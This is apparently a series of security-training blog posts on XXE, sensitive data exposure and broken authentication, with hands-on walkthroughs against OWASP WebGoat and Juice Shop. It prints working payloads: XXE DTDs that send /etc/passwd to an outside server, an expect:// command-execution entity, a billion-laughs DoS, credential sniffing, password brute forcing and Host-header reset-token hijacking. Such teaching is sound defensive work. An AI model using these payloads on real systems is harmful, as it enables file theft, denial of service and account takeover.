Note: Sometimes, you can’t retrieve multi-line files because it doesn’t result in a valid URL. Therefore, you can use an FTP server to receive incoming requests.

Exfiltrate internal files using a malicious FTP server

Exploiting a Blind XXE using FTP involves setting up an FTP server and pointing to it inside your malicious dtd file, which will look like this:

<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % bar "<!ENTITY &#x25; out SYSTEM ftp://malicious-ftp-server/%file;'>">

Note that the only difference is that you use ftp:// instead of http://

You can easily set up an FTP server using xxeserv. If you don’t have a publicly accessible server, you can use ngrok to expose a local VM to the internet.

Exploit Blind XXE without an external DTD

All the scenarios we described so far require you to host a malicious DTD file on your server. However, what to do if there is a firewall denying all egress traffic?

In his write up, Arseniy Sharoglazov introduced a new technique. Basically, the idea is to reuse an already existing DTD and redefine a parameter entity inside it. Why not just including the external DTD inside the internal one, you might ask? Well, in XML, you can’t use nested entities in internal DTDs.

Exploit XXE with SVG files

File uploads can be vulnerable to XXE if the application parses XML files. A typical file type which uses XML is SVG. You can upload the following SVG profile picture to achieve XXE.

<?xml version="1.0" standalone="yes"?><!DOCTYPE test [ <!ENTITY xxe SYSTEM "file:///etc/hostname" > ]><svg height="30" width="200">
  <text x="0" y="15" fill="red">&xxe;</text>

Exploit XXE using docx and excel files

When an application allows you to upload office documents, like docx or excel files, the first thing you have to test is XXE injection attack. In fact, office documents are simply XML based files archived into one file. You should watch this awesome talk which details how to exploit XXE using file uploads. The speaker, Willis Vandevanter, also released the oxml_xxe tool to help security researchers and ethical hackers test for XXE using file uploads for many file types.

XXE impact

You can do more than just exfiltrating internal files. Depending on the context, an XXE vulnerability can lead to many outcomes.


Because you can specify URIs in the XML entity, you can use the XXE vulnerability to reach internal assets. For example, before the introduction of IMDSv2, an attacker could easily retrieve Amazon EC2 instance metadata containing sensitive data.


In PHP applications, you can use the expect:// wrapper to run arbitrary commands on the server. For example, in the case of an error-based XXE, you can use the following DTD to run the id command on the vulnerable server:

<!DOCTYPE foo [<!ENTITY myentity SYSTEM "expect://id"> ]>

Then, reference myentity in your XML field.

There are some limitations when it comes to running arbitrary commands because the XML parser evaluates the URI you are using and finds that is is invalid, but you can always find a way to bypass them. Besides, if you can chain an SSRF to an XXE, you can use the Gopher protocol to achieve a Remote Code Execution. This awesome article will give you many tips on how to escalate your XXE to RCE.

XXE to DoS

Sometimes, the server blocks external and parameter entities. Therefore, you can’t read internal files, or perform SSRF, etc. However, you can achieve a Denial Of Service. In fact, you can leverage XML entities to push the parser to load a large number of entities. The following DTD leads to the billion laughs attack using XXE. In fact, it will load a billion times the word laugh, causing a Denial Of Service.

<?xml version="1.0"?>
<!DOCTYPE lolz [
 <!ENTITY lol "laugh">
 <!ELEMENT lolz (#PCDATA)>
 <!ENTITY lol1 "&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;">
 <!ENTITY lol2 "&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;">
 <!ENTITY lol3 "&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;">
 <!ENTITY lol4 "&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;">
 <!ENTITY lol5 "&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;">
 <!ENTITY lol6 "&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;">
 <!ENTITY lol7 "&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;">
 <!ENTITY lol8 "&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;">
 <!ENTITY lol9 "&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;">

XXE injection attacks in the real-world

There are so many real-world XXE injection attacks. However, I will list three here.

Firstly, in this advisory, Aon’s Cyber Solutions discovered an XXE vulnerability which allowed accessing internal files due to a misconfiguration in RealObjects PDFreactior before 10.1.10722.

Then, in this report, the bug bounty hunter demonstrates a Denial of Service condition due to an XML injection using the billion laughs attack.

Finally, this report shows how the bug bounty hunter exploited an Error-Based XXE to retrieve the /etc/passwd file.

How to mitigate XXE?

If you’ve been reading from the beginning, you should come up with defense methods against XML injection on your own. Since XXE injection vulnerability relies on DTDs, the best thing you can do to achieve a proper XML injection remediation is to disable DTDs altogether. However, this is not always possible because the application needs to use DTDs. In this case, disable external DTDs and XML External Entities. The following OWASP XXE prevention Cheat Sheet gives you all the details you need to prevent XXE on XML parsers for many programming languages.

That’s it! I hope you enjoyed learning XXE. Now, you can practice what you’ve learned in this hands-on XXE tutorial. And don’t forget to subscribe to the Friday newsletter below to receive updates about new content.

XXE tutorial in practice – OWASP Top 10 training

XXE tutorial

Hello and welcome to this OWASP Top 10 training series. Today, you will practice XXE injection on OWASP WebGoat. By the end of this XXE tutorial, you will achieve the following goals:

  • Exploit XXE to Read internal files from the vulnerable server.
  • Pivot from XXE to SSRF
  • Exploit a Blind XXE
  • Perform the Billion laughs attack

If you don’t know what XXE is, I prepared an in-depth XXE article about it.

XXE tutorial to read internal files

In this challenge, we have a comment feature which uses XML to carry the user input. 

  1. Login to your WebGoat instance, and go to the third challenge in the XXE menu
WebGoat Simple XXE challenge
WebGoat Simple XXE challenge
  1. Configure your browser to proxy HTTP requests through OWASP Zap or Burp Suite. Then, send a comment. You should see a POST request in your Web Proxy, with XML as POST data.
Potential XXE in the XML POST data
Potential XXE in the XML POST data
  1. Based on the explanations we provided in the XXE vulnerability theory, we will use the following XML POST data to read the secret.txt file from the remote server.
<?xml version="1.0"?>
<!DOCTYPE author [
<!ENTITY xxe SYSTEM "file:///home/webgoat/.webgoat-8.0-8088465//XXE/secret.txt">
  1. Upon sending the malicious request above, we can see that the content of the secret file WebGoat 8.0 rocks... (vrSjRdhjst) shows up in the comments list.
XXE exploitation to read internal files


Because we can use almost arbitrary URIs during an XXE attack, instead of using file://, we will use http:// to enumerate internal ports running on the server.

  1. Repeat the previous exercise.
  2. Instead of the previous POST data, use the following one:
<?xml version="1.0"?><!DOCTYPE author [
  <!ENTITY xxe SYSTEM "http://localhost:22">
  1. Note that we are targeting the port 22, typically used for SSH.
  2. We receive a reply which clearly states that there is no service running on port 22.
Connection Refused indicates that the port is not accessible
Connection Refused indicates that the port is not accessible
  1. We can easily automate the process of discovering internal ports using OWASP ZAP’s fuzzer or BurpSuite’s Repeater. 

Note that you can also discover neighbor IP addresses, not just ports.

Blind XXE using an external DTD

As we explained in the XXE vulnerability theory blog post, you don’t always receive feedback from the application. We were just lucky that our comment input gets listed in the comments list area. If a moderator was verifying incoming reports, chances are that we wouldn’t have our malicious comment listed. This is where Blind XXE comes into play.

  1. Firstly, let’s prepare an external DTD file to host our callback and internal file to read. On WebWolf, log in using your WebGoat credentials and go to the Files tab. 
  2. Upload the following file while substituting webwolf-instance with your WebWolf IP address.
<!ENTITY % file SYSTEM "file:///home/webgoat/.webgoat-8.0-8088465//XXE/secret.txt">
<!ENTITY % bar "<!ENTITY &#x25; out SYSTEM 'http://webwolf-instance:9090/landing/xxe?content=%file;'>">
  1. Go to the seventh XXE challenge
  2. Submit a comment and capture the request in your Web Proxy like we did in the previous challenges.
  3. Use the following XML POST data. Note that {username} and {filename} should match your WebGoat username and external dtd file name respectively.
<?xml version="1.0"?><!DOCTYPE foo [<!ENTITY % xxe SYSTEM
"http://webwolf-instance:9090/files/{username}/{filename}"> %xxe;]>
<comment>  <text>no need to inject here</text></comment>
  1. When you send the request, go to the Incoming Requests tab on your WebWolf instance.
  2. You should get a callback in your WebWolf instance like the one below, with the content of the secret file.
Blind XXE successfully exploited using an external DTD
Blind XXE successfully exploited using an external DTD

XXE to DoS

XXE can lead to Denial of Service. In this example, let’s perform XXE billion laughs attack and see what happens.

  1. Go to the third XXE challenge and repeat the steps we did on our first section.
  2. Use the following payload to inject the word laugh a billion times in a comment
<?xml version="1.0"?>
<!DOCTYPE lolz [
 <!ENTITY lol "laugh">
 <!ELEMENT lolz (#PCDATA)>
 <!ENTITY lol1 "&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;">
 <!ENTITY lol2 "&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;">
 <!ENTITY lol3 "&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;">
 <!ENTITY lol4 "&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;">
 <!ENTITY lol5 "&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;">
 <!ENTITY lol6 "&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;">
 <!ENTITY lol7 "&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;">
 <!ENTITY lol8 "&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;">
 <!ENTITY lol9 "&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;">
  1.  Notice that you get the following error from the server.
JDK doesn't allow unlimited entity expansions
JDK doesn’t allow unlimited entity expansions
  1. The response indicates that JDK is properly configured to perform 64K entity expansions at most. This behavior is controlled using the jdk.xml.entityExpansionLimit option. As you can see below, if its value was less than or equal to 0, we would have crashed the server.
 JDK entity expansion limit option
JDK entity expansion limit option

That’s it! I hope you enjoyed this XXE tutorial. Subscribe now to the Friday newsletter to receive updates about new content

And as usual, here is your XXE tutorial on Youtube.

Sensitive Data Exposure tutorial – OWASP Top 10 training

Sensitive Data Exposure

Hello and welcome to this new episode of the OWASP Top 10 training series. In this Sensitive Data Exposure tutorial, you will practice your skills on three challenges If you have no idea about this vulnerability, I invite you to read this blog post which explains Sensitive Data Exposure in detail.

Make sure to subscribe to the Friday Newsletter for new content on this blog.

The agenda of the Sensitive Data Exposure tutorial will be as follows:

  • Firstly, you will sniff traffic and exploit a sensitive data exposure on a WebGoat challenge using tcpdump
  • Then, you will access confidential documents on OWASP Juice Shop
  • Finally, you will use publicly available resources to access some sensitive logs

Throughout this post, you will practice sensitive data exposure using OWASP ZAP. So, let’s get started!

Sensitive Data Exposure tutorial 1: WebGoat challenge

In this challenge, we have a login form which doesn’t use HTTPS. Our goal is to capture the credentials of our victim. 

We will use tcpdump to sniff the HTTP traffic. You can also use Wireshark

  1. Firstly, we will install tcpdump on our OWASP Top 10 training VM box.

sudo apt install tcpdump -y

  1. Then, we will list our network interfaces to listen to only the one which is connected to our target network.

ip a

Docker0 network interface to prepare for sensitive data exposure using tcpdump
Docker0 network interface
  1. From the output above, we are interested in the docker0 interface since that’s the one transmitting the target HTTP traffic.
  2. Next, run the tcpdump command below. The expression tcp[((tcp[12:1] & 0xf0) >> 2):4] gets the HTTP method from the traffic, which we compare with 0x504F5354, the hex representation of POST string.

sudo /usr/sbin/tcpdump -i docker0 -s 0 -A 'tcp[((tcp[12:1] & 0xf0) >> 2):4] = 0x504F5354'

  1. Now, let’s go to the WebGoat challenge under the Sensitive Data Exposure menu, challenge 2. Then, click on the login button.
OWASP WebGoat Sensitive Data Exposure tutorial
OWASP WebGoat Sensitive Data Exposure tutorial
  1. You will immediately see a POST request showing up in the tcpdump output.
Sniffing credentials exposure using Tcpdump on HTTP traffic
Sniffing credentials exposure using Tcpdump on HTTP traffic
  1. Finally, as you can see from the screenshot above, the credentials are CaptainJack/BlackPearl

Had the page been using HTTPS, we wouldn’t have access to plaintext credentials, but rather gibberish traffic which we wouldn’t know how to decipher.

Tutorial 2: Access confidential documents

In this challenge, our goal is to access confidential documents of OWASP Juice Shop. We will use the application as intended and see if we can spot any potential vulnerabilities. We will register a new account, add products to the cart, checkout and print our order.

The order confirmation URL looks like What if there is a directory listing enabled on the /ftp directory? Let’s try that out!

  1. Go to http://owasp-vm-box:3000/ftp/
  2. Voila! You have other documents uploaded to the FTP directory, which include many confidential documents. Let’s see if we can access all the coupons.
  3. When you simply go to http://owasp-vm-box:3000/ftp/coupons_2013.md.bak, there is a 403 response forbidding us from downloading the file. It seems that the application performs checks on the file extension.
  1. Since only .md and .pdf extensions are allowed, let’s try to bypass this verification using a double URL encoded NULL character (%2500). To do that, got to
  1. Notice that we successfully accessed the list of coupons in plaintext.
Sensitive data exposure: Stealing the coupons file
Sensitive data exposure: Stealing the coupons file

We were able to exploit a broken authentication flaw, then perform a filter bypass and get access to the plaintext coupons file. Which of these three problems fall into the OWASP Sensitive Data exposure category? Let me know in the comments below!

Tutorial 3: Exploit a sensitive data exposure vulnerability to Leak access logs

In this challenge, the goal is to get hold of a publicly available access logs file which contains clear-text passwords. We will surf the internet, dumpster diving online content for possible sensitive data leaks. 

Developers typically post many questions on well-known forums, like Stack Overflow. In fact, a simple Google search for the developer of OWASP Juice Shop reveals the username bkimminich on GitHub. From there, we can see if this username has posted any sensitive data on Stack Overflow. Googling “bkimminich stack overflow” gives us this account. Finally, we can filter only the questions. As you can see below, this is the post which contains access logs

Access log leak through Stack Overflow
Access log leak through Stack Overflow

The developer has posted a PasteBin file, yet another code sharing platform typically used by developers. Looking through the logs, we can see that there is a password-reset feature which is using GET parameters to transmit the password.

Sensitive Data exposure tutorial: Passwords in the log files.
Sensitive Data exposure in the log files

This is a clear sensitive data exposure. An attacker can go from here and test the password on all users of Juice Shop. To do that, one way is to login as an admin using a SQL injection, then access the administration dashboard using the same JavaScript enumeration exercise we did before. Since this is not directly tied to Sensitive Data exposure, I’ll leave it for you as an exercise. If you’re still stuck, make sure to check out the video below.

That’s it! I hope you enjoyed this Sensitive Data exposure tutorial. Subscribe now to the Friday newsletter to receive updates about new content.

Sensitive Data Exposure explained – OWASP Top 10

Welcome to this new episode on the OWASP Top 10 vulnerabilities series. Today, you’ll learn about the OWASP Sensitive data exposure vulnerability. If you already now the theory behind this vulnerability, you can practice on this tutorial.

The agenda will cover the following:

  • Define what is sensitive data exposure
  • Explain Sensitive data exposure types
  • Show you some attack scenarios
  • Share with you some related HackerOne reports
  • Explain the impact of this vulnerability 
  • Teach you how to prevent Sensitive data exposure

What is sensitive data exposure?

Each month, increasing exabytes of data get transmitted on the globe. The data sensitivity ranges from cat videos and static landing pages to Personally Identifiable Information (PII) and nations secrets.

But how to distinguish between sensitive and no-sensitive data? Well, this depends on many factors. For example, you can measure the impact of disclosing your data in terms of Confidentiality, Integrity or Availability. In fact, the general idea is to measure what would be the impact of this data if third-parties know about it. For example, an e-commerce website’s database is sensitive because it holds Credit Card records and personal data of its customers. If an unauthorized party accessed it, all customers’ identities and financial situation would be at risk. 

When critical data lands on unauthorized hands, we can qualify it as sensitive data exposure.

Sensitive data exposure types

We can divide the data into two broad categories, data in transit and data at rest.

Data in transit

Data transmitted over a network is considered data in transit. For example, when you browse the web, you generate HTTP traffic which carries data between you and the target server. Because it is in motion, this type of data can be targeted in many ways:

  • Sniffing: When the network traffic is not encrypted, an attacker can perform a Man-in-the-middle attack (MITM). For example, if you land on a website which asks for your credentials without using HTTPS, your credentials will transit in cleartext.
  • Information disclosure: This happens if a vulnerable server returns more information than it should. For example, JavaScript files can contain production API keys, passwords, etc. Besides, the server can return verbose errors which disclose passwords of highly sensitive assets. I’ve found a vulnerability where a generated error contained the admin password of a critical marketing asset.

Data at rest

All data which doesn’t move in the network is at rest. This includes archives, backup files, databases, etc. So how this data can be at risk if it doesn’t move? Well, an attacker can access it through a lack of authentication, poor access control on a repository, etc. Consider this incident where a publicly accessible MongoDB database stored plaintext personal details of Millions of records.

Sensitive data exposure attack scenarios

Since Sensitive data exposure is a broad vulnerability, we will explore some scenarios which would help understanding when a vulnerability falls into this category. Later, you can also practice your skills on this hands-on tutorial.

Attack scenario 1

A web application allows users to search for available books based on keywords. Unfortunately, a SQL injection in the keyword parameter allowed an attacker to dump the authors’ table, which included PII information in plaintext.

In this scenario, there are two problems, the SQL injection and the plaintext data. However, the problem which relates to Sensitive Data exposure is the latter. In fact, sensitive data should never be stored in plaintext.

Attack scenario 2

A web application doesn’t properly protect log files. This allowed an unauthenticated attacker to read them. Some log entries contained login requests with credentials in the GET parameters. This led to a massive credential theft and a huge compromise of multiple accounts.

In this scenario, the sensitive data was transmitted using GET parameters, which is a bad practice. In fact, GET requests get stored on logs, browser history, bookmarks, etc. Unauthenticated access to the log files themselves is a problem which belongs to Broken authentication, which is not directly related to Sensitive Data Exposure.

Attack scenario 3

An internal hospital web application allows staff members to sign up, log in and upload healthcare data. The application uses HTTP. An attacker compromised the hospital’s Wi-Fi network. Because there was no Network segregation, the attacker was able to listen on HTTP traffic and capture the session cookie of the admin user. He then authenticated to the application and modify data for a target patient.

In this scenario, the problem related to Sensitive Data exposure was in the fact that the application used an unencrypted protocol to carry sensitive data.

As you can see, Sensitive Data exposure vulnerabilities focus on data itself. In other words, giving that an attacker got access to your data or can sniff the traffic carrying your data, what defense mechanism do you have to prevent him/her from exploiting it?

Sensitive data exposure Hackerone reports

These are some real-world vulnerabilities related to Sensitive data exposure. 

  • In this report, Twitter publicly exposed a production API key on GitHub. The impact was not tangible, hence the low bounty amount. However, this is a great example of finding sensitive data exposure on GitHub.
  • In this interesting report, the hacker dumped hashed passwords from the database. However, he found a key in another component inside the DB, which allowed a potential Remote Code Execution. This is an interesting sensitive data exposure PoC to demonstrate that all sensitive data should be encrypted.
  • In this report, you can see how separation of privileges can properly reduce the impact and prevent Sensitive Data exposure. In fact, the hacker found a SendGrid API key which allowed him to impersonate Uber when sending emails. However, the API key’s permissions were properly set to only send emails. 

Sensitive data exposure impact

Exposing sensitive data to unauthorized parties has many serious implications. For example, if the data contains PII information, any leak can cause a fine under the EU GDPR law, which can go up to 20 Million Euros. Have a look at Facebook’s GDPR fines history. Besides, exposed data puts customers at risk, violates their privacy and impacts the image and revenue of the leaking party.

Sensitive data exposure remediation

To prevent such a vulnerability, you can implement many measures.

Firstly, you need to classify your data. This ensures that you clearly distinguish your sensitive data. There are many data classification policies which you’ll find in the references below. You can choose whatever you want based on the nature of your business. For instance, if you manipulate Credit Cards, then you’d go with the PCI DSS standard.

Then, you need to ensure proper encryption, both in transit and at rest. Make sure you comply with the standard of your choice. For example, there are specific encryption requirements for PCI DSS. I am not an expert when it comes to the details of each standard, but the general rule would be to use strong encryption algorithms and protocols.

Finally, apply the least privilege principle on the way you access your data to reduce the attacker abilities to read sensitive data. For example, use unprivileged database users and grant only the permissions your business needs on the tables which support the feature.

For in-depth prevention measures, you can read the Sensitive data exposure prevention OWASP Cheatsheets in the reference section.


Data classification policies:

Broken Authentication and Session Management explained

Welcome to this new episode of the OWASP Top 10 vulnerabilities course. Today, you are going to learn about Broken Authentication and Session Management. 

Last time, I explained the Injection vulnerability. New upcoming posts will teach you the remaining OWASP Top 10 vulnerabilities. Consider subscribing to the Friday Newsletter.

What is Broken Authentication and Session Management?

We can’t talk about Broken Authentication without defining Authentication in the first place. This will give you a solid understanding of the big picture.

What is authentication?

In the context of Application Security, Authentication is the process of validating that the identity accessing an asset is the one it claims to be. For example, when you log in to your email account, you provide a username and password. The system then validates these credentials. If they are correct, the system lets you in. Otherwise, your authentication doesn’t succeed.
Notice that the identity can be another computer system as well. For example, when you connect to an HTTPS website, your browser authenticates the website using a Digital Certificate as part of a TLS handshake.

What is session management?

If you had to provide your credentials whenever you click on a page within your email account, it would be impractical. Thus, the identity receives a session after it logs in. It typically lasts as long as the identity is connected to the asset. Once the identity logs out, the server destroys the session.

What could go wrong?

From what we explained above on Authentication and Session Management, you can start thinking of scenarios where they can be broken. In fact, implementing authentication requires a set of features like the sign up, login, logout and password reset features. We will now explore what features support Authentication in-depth. Then, we will learn what vulnerabilities can target some of them.

Some Features which support Authentication

Authentication includes many features, such as:

  • Sign up: Allows users to register their accounts on the system. 
  • Login: Allows them to access it.
  • Password Reset: Helps them recover their credentials. 
  • Session token: Maintains a session of the user with the system. It can be a cookie, a JSON Web Token, a Bearer or other variations.
  • Multi-Factor Authentication (MFA): Increases Authentication security by adding other factors such as a token, an SMS, physical biometrics such as fingerprints, etc.

If not securely developed, each feature can introduce its own Authentication vulnerabilities and weaken the overall Authentication security. For example, compromising the Login feature using a SQL injection would lead to a full Authentication compromise, especially if you can log in as an administrator.

Broken Authentication and Session management vulnerabilities

In this section, we are going to explore the following Authentication features and learn some ways of attacking each one of them.

Weak or default passwords

If the system doesn’t enforce a strong password policy, there is a high chance that users will use weak passwords. Besides, if the application doesn’t protect against rate limiting, a malicious user can brute force credentials in the hope of finding valid ones.
Sometimes, the software ships with default admin credentials, which are publicly available. If they remain upon installation, any user can log in to the system as an administrator. You can see this in action on the OWASP Top 10 Broken Authentication hands-on tutorial.

Authentication bypass

Authentication protects certain features from unauthorized access. Unfortunately, developers forget to put such features behind the Authentication layer. Therefore, any user can directly access them by performing forced browsing.

There are other authentication bypass techniques, but the idea remains the same. In the OWASP Top 10 Broken Authentication hands-on tutorial, you will learn how you can enumerate JavaScript files to bypass authentication.

Broken password reset

There are many Password Reset can be vulnerable in many ways, depending on how the password is restored. The most popular implementation is a password reset link. In this case, you receive a random reset token which the server generates and ties to your email. Unfortunately, it can be vulnerable in many ways, such as:

  • If there is a possibility to specify many receiving emails, the system can mistakenly send the reset token to all specified emails.
  • If the application builds the password reset link based on user-controlled data, like the HTTP Host Header, an attacker can hijack the password reset token using a malicious Host Header pointing to his website. 

Two-Factor Authentication

Two-Factor Authentication, or 2FA for short, increases security by adding another verification step. For example, the application might send you a unique code via SMS. However, the verification response that the server sends can be modified on the client-side. If the application’s front-end relies on it to grant access, a malicious user can modify the response and bypass the verification. We will cover other examples in the Broken Authentication and Session management real-world attacks section.

Broken Authentication and Session management real-world attacks

The following is a list of real-world Authentication vulnerabilities:

Weak or Default credentials example

In this report, the hacker found a publicly accessible SAP server with default credentials belonging to Starbucks.

I also reported an authentication issue to OWOX, where a Grafana instance was running on port 3000 without any authentication. Simply browsing to the right service allowed me to access all their dashboards.

Password reset example

In this report, the hacker reported that he could hijack the victim’s password reset token by manipulating the HTTP Host Header.

In this report, the bug bounty hunter found that the Referer HTTP Header leaks the password reset token if the victim clicks on a link from the resulting password reset page. Although the exploitation is hard, it is still a valid issue which highlights how Authentication can break under many attack vectors, depending on the context.

Two-Factor authentication bypass example

In this critical report, the bug bounty hunter could substitute the victim’s token with his, allowing him to bypass Two-Factor Authentication.

Another common issue with Multi-factor authentication is the lack of rate limiting and the short length of the token. This report shows how the ethical hacker could guess the victim’s Two-Factor authentication token, also called a one-time password (OTP).

Impact of Broken Authentication and Session management

As you saw in the previous sections, especially in the real-world attacks section, Broken Authentication and Session management can be very dangerous. In fact, it compromises how an application authenticates an identity and it leads on account takeovers. Depending on the sensitivity of the asset and the compromised level of privilege, it can lead to serious business loss.

How to prevent Broken Authentication?

As you learned from the previous sections, there are many vulnerabilities which lead to Broken Authentication and session management. It would be impractical to enumerate all the instances. However, the following are the minimum security measures that you should implement whenever you develop an authentication feature.

Strong password policy

You should always enforce a strong password policy for your users. Such policy should require a minimum password length of 8 characters and include lower case, uppercase, digit and symbol characters. A plus would be to check the password against a list of well-known password dictionaries like this one.

Avoid injection issues

Always validate user input before processing the login request. If there is an injection vulnerability in one of your authentication features, your primary line of defense will be compromised.

Protect against brute force attacks

Implement rate-limiting against automated login attempts to prevent password guessing attacks. You can use captchas, account lockouts or Multi-Factor authentication.

You can browse the following OWASP Broken Authentication Cheat Sheet for an exhaustive list of security measures which you can apply according to your needs.

And that’s it! Hopefully, you’ve learned something new. If you enjoy learning on this blog, make sure to subscribe to the newsletter below. We will send you updates each Friday!

Broken Authentication and Session Management tutorial

Broken authentication and session management tutorial

Hello and welcome to this new episode of the OWASP Top 10 training series. In this Broken Authentication and Session Management tutorial, you will practice put your knowledge into action on hands-on attack examples. If you don’t know the theory behind this vulnerability, I highly recommend you read it first and then come back.

In this Broken Authentication and Session Management tutorial, you will learn:

Authentication bypass attack example using forced browsing

In this example, your goal is to access the challenge board on OWASP Juice Shop, which is normally not meant to be public. Single Page Web applications (SPA) typically use Ajax calls from a Front-end application. Therefore, all API endpoints should be included somewhere client-side, like JavaScript files.

  1. Firstly, open Chrome Browser and visit Juice Shop
  2. Then, right-click on the page and choose Inspect 
  3. Under the Sources tab, choose the main-es2015.js file and beautify it using the {} button at the bottom of the window which shows the minified JavaScript file.
  4. Then, locate the part where endpoints are declared using Ctrl+F on Windows or Command+F on Mac
  5. From the list, you can see the score-board endpoint as shown below
Enumerating JS files using Chrome's Dev Tools
Enumerating JS files using Chrome’s Dev Tools
  1. Go to the URL:
  2. Finally, you should see the scoreboard containing all the challenges.

Exploit Broken Authentication using Weak credentials

Let’s try to login as the admin user on OWASP Juice Shop. From our previous SQL injection tutorial, we know that the admin’s email is admin@juice-sh.op. So, let’s brute force his password using the worst 100 password dictionary.

Because Burp Suite Community Edition allows only throttled Bruteforce, we are going to use OWASP ZAP for this challenge. It is also a great opportunity to learn how to use OWASP ZAP in such a use case.

Capturing the vulnerable request on OWASP ZAP

  1. Firstly, make sure that OWASP ZAP is properly configured.
  2. Make sure that you have OWASP Juice Shop running.
  3. On the Juice Shop top menu, click on the Account button, then on the Login button.
OWASP Juice Shop Login feature
OWASP Juice Shop Login feature
  1. Then, enter admin@juice-sh.op in the email and a dummy password, and hit enter.
  2. You should see a POST request coming through Zaproxy’s History tab.
  1. As you can see, the response code is 401, which means that our authentication has failed.
  2. On the request View, you can see the full POST request, including the POST data.
OWASP ZAP showing the vulnerable login request
OWASP ZAP showing the vulnerable login request

Brute force the admin password

  1. Now, right-click on the request, and choose the Fuzz option.
Fuzz option in the OWASP ZAP contextual menu
Fuzz option in the OWASP ZAP contextual menu
  1. Then, select the password field from the POST data of the login request and click on the Add button on the right.
OWAP ZAP Fuzz menu
OWAP ZAP Fuzz menu
  1. Make sure that the payload type is Strings. Then, copy paste the list of passwords from the password dictionary and hit OK.
Login dictionary to test for  Broken Authentication
Login dictionary to test for Broken Authentication
  1. Finally, run the fuzzer, you should see a new Tab named Fuzzer appearing. After a while, the fuzzing finishes. You should see that we have a response code of 200 for the password admin123, meaning that the password we sent in that particular request is the admin’s password.
 Broken Authentication and Session Management tutorial: Password found
Broken Authentication and Session Management tutorial: Password found

In this challenge, your goal is to hijack Tom’s password reset link and takeover his account on OWASP WebGoat.

Capturing the vulnerable password reset request

  1. Firstly, make sure that you have OWASP WebGoat and WebWolf up and running.
  2. Then, go to the password reset challenge number 6, as shown below
 Broken Authentication and Session Management tutorial
Broken Authentication and Session Management tutorial
  1. Next, scroll down and notice that you have the ability to reset your account’s password using the forgot password feature.
 Broken Authentication and Session Management tutorial: password reset form
Broken Authentication and Session Management tutorial: password reset form
  1. Then, in the history tab of OWASP ZAP, you can see a POST request as shown below
OWASP ZAP captured the password reset POST request
OWASP ZAP captured the password reset POST request
  1. The POST request looks like this:
Password reset POST request
Password reset POST request

Exploiting the Password Reset feature

  1. Now, note your cookie Header and email POST data, we will use them to construct the following curl command.
curl -H "Host:" -b "JSESSIONID=Y-rAgt6BZhL5vY2yJaGH4Mx5ZPugPcK8WnwEd44Z" --data "email=tom%40webgoat-cloud.org"
  1. In the request above, the -H option allows to add our own HTTP Headers. In this case, we poisoned the HTTP Host Header to point to That way, we can capture the request made to /evil on WebWolf. In a real-life situation, the Host Header would point to a server controlled by the attacker. The -b option allows to add the Cookie, and the –data option allows to add the POST data.
  2. After executing the curl command above, you can see that you get a request to WebWolf under the Incoming Requests menu, like the one below
WebWolf captured the password reset token
WebWolf captured the password reset token
  1. Finally, we successfully hijacked the password reset link! Let’s copy it and use it in a legitimate password reset link. To do that, all you need is to send a password reset request to your email account, which is <user>@webgoat-cloud.org. On WebWolf, you can receive incoming emails on the Mailbox tab from the top menu.
Broken Authentication and Session Management tutorial: Password reset link structure
Password reset link structure
  1. As you can see, the password reset token looks like this:<password-reset-token>
  2. All we have to do now is substitute <password-reset-token> with the one we hijacked earlier and visit the web page. You should see a password reset form as shown below.
Broken Authentication and Session Management tutorial: Tom's Password reset form
Broken Authentication and Session Management tutorial: Tom’s Password reset form
  1. Fill the password with whatever you want, then login as Tom using the new password.
Challenge solved! Successful Tom's account takeover
Challenge solved! Successful Tom’s account takeover
  1. Congratulations! You have compromised Tom’s password using a weak password reset feature.

Exploit Broken Authentication using a security question

You might think that security questions are secret, but it’s not quite the case. With the number of personal data people share on social media nowadays, security question answers can be found relatively easily. In this challenge, we are going to reset Bjoern’s password and access his account using a security answer he publicly shared.

In his talk, Bjoern shared that he owns a three-legged cat named Zaya. He used his email bjoern@owasp.org.

  1. Firstly, go to the login from the top menu.
  2. Then, choose forgot your password option at the bottom of the login form.
  3. Finally, enter bjoern@owasp.org as the email, Zaya as the answer to the security question and a new password for Bjoern.
  4. Congratulations! You can authenticate as Bjoern in Juice Shop.

As you can see, there are a lot of attack vectors which can be used to exploit a Broken Authentication and Session Management feature. Hopefully, you’ve learned something new.

New content will be released in the future. If you enjoy learning on this blog, make sure to subscribe to the newsletter below. We will send you updates each Friday!

If you enjoy learning by watching videos, here is one: